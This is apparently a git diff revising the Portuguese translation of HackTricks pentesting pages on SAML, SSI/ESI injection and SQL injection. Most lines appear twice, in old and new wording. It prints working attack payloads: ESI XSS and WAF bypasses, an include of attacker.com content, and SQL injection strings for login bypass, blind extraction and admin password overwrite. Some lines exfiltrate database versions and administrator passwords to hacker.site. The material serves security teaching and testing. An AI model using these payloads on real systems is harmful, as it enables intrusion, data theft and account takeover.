* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
# Visão Geral do SAML
**Security Assertion Markup Language (SAML)** permite que provedores de identidade (IdP) sejam utilizados para enviar credenciais de autorização para provedores de serviços (SP), facilitando o logon único (SSO). Essa abordagem simplifica o gerenciamento de vários logins, permitindo que um único conjunto de credenciais seja usado em vários sites. Ele utiliza XML para comunicação padronizada entre IdPs e SPs, vinculando a autenticação da identidade do usuário com a autorização do serviço.
A **Security Assertion Markup Language (SAML)** permite que provedores de identidade (IdP) sejam utilizados para enviar credenciais de autorização para provedores de serviços (SP), facilitando o logon único (SSO). Essa abordagem simplifica o gerenciamento de vários logins, permitindo que um único conjunto de credenciais seja usado em vários sites. Ela utiliza XML para comunicação padronizada entre IdPs e SPs, vinculando a autenticação da identidade do usuário com a autorização do serviço.
## Comparação entre SAML e OAuth
- **SAML** é direcionado para fornecer às empresas maior controle sobre a segurança do login SSO.
- **SAML** é direcionado a fornecer às empresas maior controle sobre a segurança de login SSO.
- **OAuth** é projetado para ser mais amigável para dispositivos móveis, usa JSON e é um esforço colaborativo de empresas como Google e Twitter.
# Fluxo de Autenticação SAML
@ -33,13 +33,13 @@ O processo de autenticação SAML envolve várias etapas, conforme ilustrado no
1. **Tentativa de Acesso ao Recurso**: O usuário tenta acessar um recurso protegido.
2. **Geração de Solicitação SAML**: O SP não reconhece o usuário e gera uma Solicitação SAML.
3. **Redirecionamento para IdP**: O usuário é redirecionado para o IdP, com a Solicitação SAML passando pelo navegador do usuário.
4. **IdP Recebe Solicitação**: O IdP recebe a Solicitação SAML.
4. **IdP Recebe a Solicitação**: O IdP recebe a Solicitação SAML.
5. **Autenticação no IdP**: O IdP autentica o usuário.
6. **Validação do Usuário**: O IdP valida a legitimidade do usuário para acessar o recurso solicitado.
7. **Criação de Resposta SAML**: O IdP gera uma Resposta SAML contendo as assertivas necessárias.
8. **Redirecionamento para URL ACS do SP**: O usuário é redirecionado para a URL do Serviço de Consumidor de Assertivas (ACS) do SP.
8. **Redirecionamento para a URL ACS do SP**: O usuário é redirecionado para a URL do Serviço de Consumidor de Assertivas (ACS) do SP.
9. **Validação da Resposta SAML**: O ACS valida a Resposta SAML.
10. **Acesso ao Recurso Concedido**: Acesso ao recurso solicitado inicialmente é concedido.
10. **Acesso ao Recurso Concedido**: Acesso ao recurso inicialmente solicitado é concedido.
# Exemplo de Solicitação SAML
@ -72,7 +72,7 @@ Você pode encontrar uma [resposta SAML completa aqui](https://epi052.gitlab.io/
- **saml:Assertion**: Esta parte contém informações sobre a identidade do usuário e possivelmente outros atributos.
- **saml:Subject**: Especifica o sujeito principal de todas as declarações na afirmação.
- **saml:StatusCode**: Representa o status da operação em resposta à solicitação correspondente.
- **saml:Conditions**: Detalha condições como o tempo de validade da Declaração e o Provedor de Serviços especificado.
- **saml:Conditions**: Detalha condições como o tempo de validade da Declaração e o Provedor de Serviço especificado.
- **saml:AuthnStatement**: Confirma que o IdP autenticou o sujeito da Declaração.
- **saml:AttributeStatement**: Contém atributos que descrevem o sujeito da Declaração.
@ -83,7 +83,7 @@ Após receber a solicitação POST e validar a Resposta SAML, o acesso é conced
# Assinaturas XML
As Assinaturas XML são versáteis, capazes de assinar uma árvore XML inteira ou elementos específicos dentro dela. Elas podem ser aplicadas a qualquer Objeto XML, não apenas a elementos de Resposta. Abaixo estão os principais tipos de Assinaturas XML:
As Assinaturas XML são versáteis, capazes de assinar uma árvore XML inteira ou elementos específicos dentro dela. Elas podem ser aplicadas a qualquer Objeto XML, não apenas elementos de Resposta. Abaixo estão os principais tipos de Assinaturas XML:
### Estrutura Básica da Assinatura XML
Uma Assinatura XML consiste nos elementos essenciais conforme mostrado:

View file

@ -2,14 +2,14 @@
<details>
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -27,7 +27,7 @@ E, quando a página é servida, este fragmento será avaliado e substituído por
`Terça-feira, 15-Jan-2013 19:28:54 EST`
A decisão de quando usar SSI e quando ter sua página inteiramente gerada por algum programa é geralmente uma questão de quanta parte da página é estática e quanto precisa ser recalculado toda vez que a página é servida. SSI é uma ótima maneira de adicionar pequenos pedaços de informação, como o horário atual - mostrado acima. Mas se a maioria da sua página está sendo gerada no momento em que é servida, você precisa procurar por outra solução.
A decisão de quando usar SSI e quando ter sua página inteiramente gerada por algum programa geralmente é uma questão de quanta parte da página é estática e quanto precisa ser recalculado toda vez que a página é servida. SSI é uma ótima maneira de adicionar pequenos pedaços de informação, como o horário atual - mostrado acima. Mas se a maioria da sua página está sendo gerada no momento em que é servida, você precisa procurar por outra solução.
Você pode inferir a presença de SSI se a aplicação web usar arquivos com as extensões \*\* `.shtml`, `.shtm` ou `.stm`\*\*, mas não é o único caso.
@ -68,7 +68,7 @@ Uma expressão SSI típica tem o seguinte formato:
```
## Inclusão Lateral
Existe um problema **em cachear informações ou aplicações dinâmicas** pois parte do conteúdo pode ter **variações** para a próxima vez que o conteúdo for recuperado. É para isso que o **ESI** é utilizado, para indicar usando tags ESI o **conteúdo dinâmico que precisa ser gerado** antes de enviar a versão em cache. Se um **atacante** for capaz de **injetar uma tag ESI** dentro do conteúdo em cache, então ele poderia ser capaz de **injetar conteúdo arbitrário** no documento antes que seja enviado aos usuários.
Existe um problema **em armazenar em cache informações ou aplicativos dinâmicos**, pois parte do conteúdo pode ter **variações** para a próxima vez que o conteúdo for recuperado. É para isso que o **ESI** é usado, para indicar usando tags ESI o **conteúdo dinâmico que precisa ser gerado** antes de enviar a versão em cache. Se um **atacante** for capaz de **injetar uma tag ESI** dentro do conteúdo em cache, então ele poderá **injetar conteúdo arbitrário** no documento antes que seja enviado aos usuários.
### Detecção de ESI
@ -123,7 +123,7 @@ A seguinte diretiva ESI carregará um arquivo arbitrário dentro da resposta do
```xml
<esi:include src=http://attacker.com/xss.html>
```
#### Bypassar a proteção XSS do cliente
#### Bypass proteção XSS do cliente
```xml
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
@ -131,7 +131,7 @@ Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
```
#### Roubar Cookie
#### Roubo de Cookie
* Roubo remoto de cookie
```xml
@ -155,7 +155,7 @@ Não confunda isso com uma "Inclusão de Arquivo Local":
```
#### CRLF
CRLF (Carriage Return Line Feed) stands for the sequence of two ASCII characters, 0x0D and 0x0A, which are used to denote a line break in text files. In the context of server-side and edge-side inclusion, CRLF injection refers to the technique of injecting CRLF sequences into input data to manipulate the behavior of the server or web application. This can be exploited to perform various attacks such as HTTP response splitting and header injection.
CRLF (Carriage Return Line Feed) refers to the sequence of characters used to denote a line break in text files. In web security, CRLF injection involves inserting these special characters into input fields to manipulate the application's behavior. This can lead to various attacks such as HTTP response splitting and server-side request forgery.
```markup
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
```
@ -196,7 +196,7 @@ Isso enviará informações de depuração incluídas na resposta:
```
### ESI + XSLT = XXE
Ao especificar o valor `xslt` para o parâmetro _dca_, é viável incluir ESI baseado em **`eXtensible Stylesheet Language Transformations (XSLT)`**. A inclusão faz com que o servidor HTTP recupere os arquivos XML e XSLT, sendo que este último filtra o primeiro. Tais arquivos XML são exploráveis para ataques de _XML External Entity (XXE)_, permitindo que os atacantes executem ataques SSRF. No entanto, a utilidade desse método é limitada, uma vez que as inclusões ESI já servem como um vetor SSRF. Devido à ausência de suporte na biblioteca Xalan subjacente, DTDs externos não são processados, impedindo a extração de arquivos locais.
Ao especificar o valor `xslt` para o parâmetro _dca_, é viável incluir ESI baseado em **`eXtensible Stylesheet Language Transformations (XSLT)`**. A inclusão faz com que o servidor HTTP recupere os arquivos XML e XSLT, sendo que este último filtra o primeiro. Tais arquivos XML são exploráveis para ataques de _XML External Entity (XXE)_, permitindo que invasores executem ataques SSRF. No entanto, a utilidade desse método é limitada, uma vez que as inclusões ESI já servem como um vetor SSRF. Devido à ausência de suporte na biblioteca Xalan subjacente, DTDs externos não são processados, impedindo a extração de arquivos locais.
```xml
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
```
@ -230,9 +230,9 @@ Verifique a página XSLT:
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,7 +2,7 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
@ -20,12 +20,12 @@
## O que é injeção de SQL?
Uma **injeção de SQL** é uma falha de segurança que permite que atacantes **interfiram em consultas de banco de dados** de uma aplicação. Essa vulnerabilidade pode permitir que atacantes **visualizem**, **modifiquem** ou **excluam** dados aos quais não deveriam ter acesso, incluindo informações de outros usuários ou quaisquer dados aos quais a aplicação possa acessar. Tais ações podem resultar em alterações permanentes na funcionalidade ou conteúdo da aplicação ou até mesmo comprometer o servidor ou negar o serviço.
Uma **injeção de SQL** é uma falha de segurança que permite que atacantes **interfiram em consultas de banco de dados** de um aplicativo. Essa vulnerabilidade pode permitir que os atacantes **visualizem**, **modifiquem** ou **excluam** dados aos quais não deveriam ter acesso, incluindo informações de outros usuários ou quaisquer dados aos quais o aplicativo possa acessar. Tais ações podem resultar em alterações permanentes na funcionalidade ou conteúdo do aplicativo ou até mesmo comprometer o servidor ou negar o serviço.
## Detecção do ponto de entrada
Quando um site parece ser **vulnerável a injeção de SQL (SQLi)** devido a respostas incomuns do servidor a entradas relacionadas ao SQLi, o **primeiro passo** é entender como **injetar dados na consulta sem interrompê-la**. Isso requer identificar o método para **escapar do contexto atual** de forma eficaz.
Quando um site parece estar **vulnerável a injeção de SQL (SQLi)** devido a respostas incomuns do servidor a entradas relacionadas ao SQLi, o **primeiro passo** é entender como **injetar dados na consulta sem interrompê-la**. Isso requer identificar o método para **escapar do contexto atual** de forma eficaz.
Aqui estão alguns exemplos úteis:
```
[Nothing]
@ -39,7 +39,7 @@ Aqui estão alguns exemplos úteis:
"))
`))
```
Então, você precisa saber como **corrigir a consulta para que não haja erros**. Para corrigir a consulta, você pode **inserir** dados para que a **consulta anterior aceite os novos dados**, ou você pode simplesmente **inserir** seus dados e **adicionar um símbolo de comentário no final**.
Então, você precisa saber como **corrigir a consulta para que não haja erros**. Para corrigir a consulta, você pode **inserir** dados para que a **consulta anterior aceite os novos dados**, ou simplesmente **inserir** seus dados e **adicionar um símbolo de comentário no final**.
_Observe que se você puder ver mensagens de erro ou identificar diferenças quando uma consulta está funcionando e quando não está, esta fase será mais fácil._
@ -73,7 +73,7 @@ HQL does not support comments
Um método confiável para confirmar uma vulnerabilidade de injeção de SQL envolve a execução de uma **operação lógica** e observar os resultados esperados. Por exemplo, um parâmetro GET como `?username=Peter` que produz conteúdo idêntico quando modificado para `?username=Peter' or '1'='1` indica uma vulnerabilidade de injeção de SQL.
Da mesma forma, a aplicação de **operações matemáticas** serve como uma técnica de confirmação eficaz. Por exemplo, se acessar `?id=1` e `?id=2-1` produzirem o mesmo resultado, isso é indicativo de injeção de SQL.
Da mesma forma, a aplicação de **operações matemáticas** serve como uma técnica de confirmação eficaz. Por exemplo, se acessar `?id=1` e `?id=2-1` produzirem o mesmo resultado, isso é indicativo de uma injeção de SQL.
Exemplos demonstrando a confirmação com operações lógicas:
```
@ -88,7 +88,7 @@ Esta lista de palavras foi criada para tentar **confirmar SQLinjections** da man
### Confirmando com Timing
Em alguns casos, você **não notará nenhuma alteração** na página que está testando. Portanto, uma boa maneira de **descobrir injeções de SQL cegas** é fazer o BD realizar ações que terão um **impacto no tempo** que a página precisa para carregar.\
Em alguns casos, você **não notará nenhuma mudança** na página que está testando. Portanto, uma boa maneira de **descobrir injeções de SQL cegas** é fazer o BD realizar ações que terão um **impacto no tempo** que a página precisa para carregar.\
Portanto, vamos concatenar na consulta SQL uma operação que levará muito tempo para ser concluída:
```
MySQL (string concat and logical ops)
@ -143,10 +143,10 @@ A melhor maneira de identificar o back-end é tentar executar funções dos dife
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
```
Também, se tiver acesso à saída da consulta, você poderia fazer com que **imprima a versão do banco de dados**.
Também, se tiver acesso à saída da consulta, você poderia fazer com que **imprimisse a versão do banco de dados**.
{% hint style="info" %}
A seguir, vamos discutir diferentes métodos para explorar diferentes tipos de Injeção de SQL. Vamos usar o MySQL como exemplo.
A continuação vamos discutir diferentes métodos para explorar diferentes tipos de Injeção de SQL. Vamos usar o MySQL como exemplo.
{% endhint %}
### Identificando com PortSwigger
@ -187,7 +187,7 @@ Selecione mais e mais valores nulos até que a consulta esteja correta:
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
```
_Deve-se usar valores `null` pois em alguns casos o tipo das colunas de ambos os lados da consulta deve ser o mesmo e null é válido em todos os casos._
_É recomendável usar valores `null`, pois em alguns casos o tipo das colunas de ambos os lados da consulta deve ser o mesmo e `null` é válido em todos os casos._
### Extrair nomes de bancos de dados, nomes de tabelas e nomes de colunas
@ -210,27 +210,27 @@ Quando a saída de uma consulta é visível, mas uma injeção baseada em união
Isso pode ser realizado por meio do uso de técnicas de injeção cega juntamente com as tabelas padrão específicas do seu Sistema de Gerenciamento de Banco de Dados (DBMS) de destino. Para entender essas tabelas padrão, é aconselhável consultar a documentação do DBMS de destino.
Uma vez que a consulta foi extraída, é necessário adaptar sua carga útil para fechar com segurança a consulta original. Posteriormente, uma consulta de união é anexada à sua carga útil, facilitando a exploração da nova injeção baseada em união acessível.
Uma vez que a consulta foi extraída, é necessário adaptar sua carga útil para fechar com segurança a consulta original. Posteriormente, uma consulta de união é anexada à sua carga útil, facilitando a exploração da injeção baseada em união recém-acessível.
Para obter insights mais abrangentes, consulte o artigo completo disponível em [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
## Explorando Baseado em Erros
Se por algum motivo você **não pode** ver a **saída** da **consulta** mas consegue **ver as mensagens de erro**, você pode usar essas mensagens de erro para **exfiltrar** dados do banco de dados.\
Seguindo um fluxo semelhante à exploração Baseada em União, você pode conseguir extrair o banco de dados.
Se por algum motivo você **não pode** ver a **saída** da **consulta** mas consegue **ver as mensagens de erro**, você pode fazer com que essas mensagens de erro **exfiltrem** dados do banco de dados.\
Seguindo um fluxo semelhante ao da exploração Baseada em União, você pode conseguir extrair o banco de dados.
```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
```
## Explorando Blind SQLi
Neste caso, você não consegue ver os resultados da consulta ou os erros, mas consegue distinguir quando a consulta retorna uma resposta verdadeira ou falsa porque conteúdos diferentes na página.\
Neste caso, você não consegue ver os resultados da consulta ou os erros, mas consegue distinguir quando a consulta retorna uma resposta verdadeira ou falsa porque existem conteúdos diferentes na página.\
Neste caso, você pode abusar desse comportamento para extrair o banco de dados caractere por caractere:
```sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
```
## Explorando Error Blind SQLi
Este é o **mesmo caso que antes**, mas em vez de distinguir entre uma resposta verdadeira/falsa da consulta, você pode **distinguir entre** um **erro** na consulta SQL ou não (talvez porque o servidor HTTP falhe). Portanto, neste caso, você pode forçar um erro SQL cada vez que acertar o caractere:
Este é o **mesmo caso que antes** mas em vez de distinguir entre uma resposta verdadeira/falsa da consulta, você pode **distinguir se** há um **erro** na consulta SQL ou não (talvez porque o servidor HTTP falhe). Portanto, neste caso, você pode forçar um erro SQL cada vez que acertar o caractere:
```sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
@ -240,11 +240,11 @@ Neste caso, **não há** nenhuma maneira de **distinguir** a **resposta** da con
```sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```
## Consultas Empilhadas
## Consultas em Pilha
Você pode usar consultas empilhadas para **executar várias consultas em sucessão**. Observe que, enquanto as consultas subsequentes são executadas, os **resultados** **não são retornados para a aplicação**. Portanto, essa técnica é principalmente útil em relação a **vulnerabilidades cegas** onde você pode usar uma segunda consulta para acionar uma pesquisa de DNS, erro condicional ou atraso de tempo.
Você pode usar consultas em pilha para **executar várias consultas em sucessão**. Observe que, embora as consultas subsequentes sejam executadas, os **resultados** **não são retornados para a aplicação**. Portanto, essa técnica é principalmente útil em relação a **vulnerabilidades cegas** onde você pode usar uma segunda consulta para acionar uma pesquisa de DNS, erro condicional ou atraso de tempo.
**Oracle** não suporta **consultas empilhadas**. **MySQL, Microsoft** e **PostgreSQL** as suportam: `CONSULTA-1-AQUI; CONSULTA-2-AQUI`
**Oracle** não suporta **consultas em pilha**. **MySQL, Microsoft** e **PostgreSQL** as suportam: `CONSULTA-1-AQUI; CONSULTA-2-AQUI`
## Exploração Fora de Banda
@ -252,7 +252,7 @@ Se **nenhum outro** método de exploração **funcionar**, você pode tentar faz
```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
```
### Exfiltração de dados fora da banda via XXE
### Exfiltração de dados fora de banda via XXE
```sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
```
@ -292,12 +292,12 @@ Lista para tentar burlar a funcionalidade de login:
```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```
Este query demonstra uma vulnerabilidade quando o MD5 é usado com true para saída bruta em verificações de autenticação, tornando o sistema suscetível a injeção de SQL. Os atacantes podem explorar isso criando inputs que, quando hashados, produzem partes inesperadas de comandos SQL, resultando em acesso não autorizado.
Esta consulta demonstra uma vulnerabilidade quando o MD5 é usado com true para saída bruta em verificações de autenticação, tornando o sistema suscetível a injeção de SQL. Os atacantes podem explorar isso criando entradas que, ao serem hashadas, produzem partes inesperadas de comandos SQL, resultando em acesso não autorizado.
```sql
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
```
### Bypass de Autenticação de Hash Injetado
### Bypass de Autenticação por Injeção de Hash
```sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
```
@ -343,11 +343,11 @@ Para fazer isso, você deve tentar **criar um novo objeto com o nome do "objeto
Se o banco de dados for vulnerável e o número máximo de caracteres para o nome de usuário for, por exemplo, 30 e você deseja se passar pelo usuário **admin**, tente criar um nome de usuário chamado: "_admin \[30 espaços] a_" e qualquer senha.
O banco de dados irá **verificar** se o **nome de usuário** **introduzido** **existe** no banco de dados. Se **não existir**, ele irá **cortar** o **nome de usuário** para o **número máximo de caracteres permitidos** (neste caso para: "_admin \[25 espaços]_") e então **removerá automaticamente todos os espaços no final atualizando** no banco de dados o usuário "**admin**" com a **nova senha** (algum erro pode aparecer, mas isso não significa que não funcionou).
O banco de dados irá **verificar** se o **nome de usuário** **existe** no banco de dados. Se **não existir**, ele irá **cortar** o **nome de usuário** para o **número máximo de caracteres permitidos** (neste caso para: "_admin \[25 espaços]_") e então **removerá automaticamente todos os espaços no final atualizando** no banco de dados o usuário "**admin**" com a **nova senha** (algum erro pode aparecer, mas isso não significa que não funcionou).
Mais informações: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
_Nota: Este ataque não funcionará mais conforme descrito acima nas últimas instalações do MySQL. Embora as comparações ainda ignorem espaços em branco no final por padrão, tentar inserir uma string que seja mais longa que o comprimento de um campo resultará em um erro, e a inserção falhará. Para mais informações sobre isso, verifique: [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
_Nota: Este ataque não funcionará mais conforme descrito acima nas últimas instalações do MySQL. Embora as comparações ainda ignorem espaços em branco no final por padrão, tentar inserir uma string que seja mais longa que o comprimento de um campo resultará em um erro e a inserção falhará. Para mais informações sobre isso, verifique: [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
### Verificação baseada em tempo de inserção MySQL
@ -357,7 +357,7 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
```
### ON DUPLICATE KEY UPDATE
A cláusula `ON DUPLICATE KEY UPDATE` no MySQL é utilizada para especificar ações para o banco de dados tomar quando uma tentativa é feita para inserir uma linha que resultaria em um valor duplicado em um índice ÚNICO ou CHAVE PRIMÁRIA. O exemplo a seguir demonstra como esse recurso pode ser explorado para modificar a senha de uma conta de administrador:
A cláusula `ON DUPLICATE KEY UPDATE` no MySQL é utilizada para especificar ações para o banco de dados tomar quando uma tentativa é feita de inserir uma linha que resultaria em um valor duplicado em um índice ÚNICO ou CHAVE PRIMÁRIA. O exemplo a seguir demonstra como esse recurso pode ser explorado para modificar a senha de uma conta de administrador:
Exemplo de Injeção de Payload:
@ -365,17 +365,11 @@ Um payload de injeção pode ser elaborado da seguinte forma, onde duas linhas s
```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
```
### Como funciona:
- A consulta tenta inserir duas linhas: uma para `generic_user@example.com` e outra para `admin_generic@example.com`.
- Se a linha para `admin_generic@example.com` já existir, a cláusula `ON DUPLICATE KEY UPDATE` é acionada, instruindo o MySQL a atualizar o campo `password` da linha existente para "bcrypt_hash_of_newpassword".
- Consequentemente, a autenticação pode ser tentada usando `admin_generic@example.com` com a senha correspondente ao hash bcrypt ("bcrypt_hash_of_newpassword" representa o hash bcrypt da nova senha, que deve ser substituído pelo hash real da senha desejada).
### Extrair informações
#### Criando 2 contas ao mesmo tempo
Ao tentar criar um novo usuário, são necessários nome de usuário, senha e e-mail:
Ao tentar criar um novo usuário e nome de usuário, senha e e-mail são necessários:
```
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
@ -411,9 +405,9 @@ Usando **hex** e **replace** (e **substr**):
{% embed url="https://www.rootedcon.com/" %}
## Injeção SQL roteada
## Injeção de SQL Roteada
A injeção SQL roteada é uma situação em que a consulta injetável não é aquela que fornece a saída, mas a saída da consulta injetável vai para a consulta que fornece a saída. ([Do Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
A injeção de SQL roteada é uma situação em que a consulta injetável não é aquela que fornece a saída, mas a saída da consulta injetável vai para a consulta que fornece a saída. ([Do Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
Exemplo:
```
@ -443,13 +437,13 @@ Em alguns casos, os filtros de entrada podem bloquear palavras-chave específica
```
### Sem Espaços - contornando usando parênteses
Neste desafio, o objetivo é contornar a restrição de espaços em uma injeção SQL usando parênteses para separar as palavras-chave e os operadores. Isso pode ser útil em situações em que os espaços são filtrados, mas os parênteses não são.
Neste desafio, o objetivo é contornar a restrição de não poder usar espaços em uma injeção SQL, utilizando parênteses para separar os comandos. Isso pode ser útil em situações em que os espaços são filtrados, mas outros caracteres especiais são permitidos.
```sql
?id=(1)and(1)=(1)--
```
### Bypass sem vírgulas
### Sem vírgulas de bypass
Bypass sem vírgulas - usando OFFSET, FROM e JOIN
Sem vírgulas - bypass usando OFFSET, FROM e JOIN
```
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
@ -463,7 +457,7 @@ Lista negra usando palavras-chave - desviar usando maiúsculas/minúsculas
?id=1 AnD 1=1#
?id=1 aNd 1=1#
```
Lista negra usando palavras-chave sem diferenciação de maiúsculas e minúsculas - contornar usando um operador equivalente
Lista negra usando palavras-chave sem diferenciação de maiúsculas e minúsculas - contornando usando um operador equivalente
```
AND -> && -> %26%26
OR -> || -> %7C%7C
@ -484,7 +478,7 @@ Basicamente, você pode usar a notação científica de maneiras inesperadas par
Primeiramente, observe que se a **consulta original e a tabela de onde você deseja extrair a flag tiverem a mesma quantidade de colunas**, você pode simplesmente fazer: `0 UNION SELECT * FROM flag`
